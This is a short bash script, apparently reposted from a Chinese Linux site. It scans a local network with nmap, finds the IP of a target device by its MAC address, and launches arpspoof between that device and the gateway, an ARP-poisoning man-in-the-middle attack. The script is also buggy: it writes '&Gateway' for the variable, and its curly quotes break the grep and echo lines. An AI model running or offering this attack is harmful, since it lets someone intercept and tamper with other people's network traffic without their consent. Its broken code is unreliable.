#!/bin/bash
Gateway=192.168.1.1
FILE=/usr/local/test
nmap 192.168.1.0/24 | grep -10 00:1A:A1:28:38:7F | grep -o ‘[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}’ >$FILE
if [ $? -eq 0 ]
then
{
read pig
} <$FILE
else
echo “Pigs not only on line”
fi
arpspoof -t &Gateway $pig
脚本正在完善中。。
转载请注明www.linuxqq.net